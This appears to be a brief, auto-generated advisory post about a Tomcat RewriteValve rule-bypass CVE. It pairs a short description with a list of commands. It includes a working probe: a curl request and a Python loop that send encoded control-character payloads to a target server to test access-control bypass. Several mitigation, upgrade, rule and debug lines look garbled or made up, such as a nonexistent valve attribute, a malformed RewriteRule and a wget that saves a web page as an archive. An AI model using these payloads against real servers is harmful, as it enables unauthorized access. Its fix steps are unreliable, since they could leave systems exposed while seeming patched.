CVE-2025-31651 exploits improper neutralization of escape sequences in Apache Tomcat’s rewrite rules. When rewrite rules are misconfigured, an attacker can craft malicious HTTP requests containing meta-characters or control sequences that bypass security constraints. This occurs due to insufficient input validation in the RewriteValve component, allowing specially crafted URLs to evade access restrictions. The vulnerability affects Tomcat versions 11.0.0-M1 to 11.0.5, 10.1.0-M1 to 10.1.39, and 9.0.0.M1 to 9.0.102. Successful exploitation could lead to unauthorized access to restricted resources.
DailyCVE Form:
Platform: Apache Tomcat
Version: 9.0.0.M1-9.0.102
Vulnerability: Rule bypass
Severity: Critical
Date: 05/05/2025
What Undercode Say:
Exploitation:
curl -X GET "http://target:8080/%0Abypass_path"
Detection:
grep -r "RewriteValve" /etc/tomcat/
Mitigation:
<Valve className="org.apache.catalina.valves.RewriteValve" allowedEscapeSequences="false"/>
Patch Verification:
java -cp lib/catalina.jar org.apache.catalina.util.ServerInfo
Exploit Analysis:
import requests
payloads = ["%0Aadmin", "%0Dsecure", "%09restricted"]
for p in payloads:
r = requests.get(f"http://victim:8080/{p}")
if r.status_code == 200:
print(f"Bypass success: {p}")
Log Monitoring:
tail -f /var/log/tomcat/catalina.out | grep "RewriteValve"
Upgrade Command:
wget https://tomcat.apache.org/download-90.cgi -O tomcat-patched.tar.gz
Rule Hardening:
<RewriteRule ^secure.$ - [bash]
Network Protection:
iptables -A INPUT -p tcp --dport 8080 -m string --string "%0A" --algo bm -j DROP
Debugging:
JAVA_OPTS="-Dorg.apache.tomcat.rewrite.DEBUG=true"
Impact Assessment:
cat /etc/tomcat/server.xml | grep -A 5 "RewriteValve"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
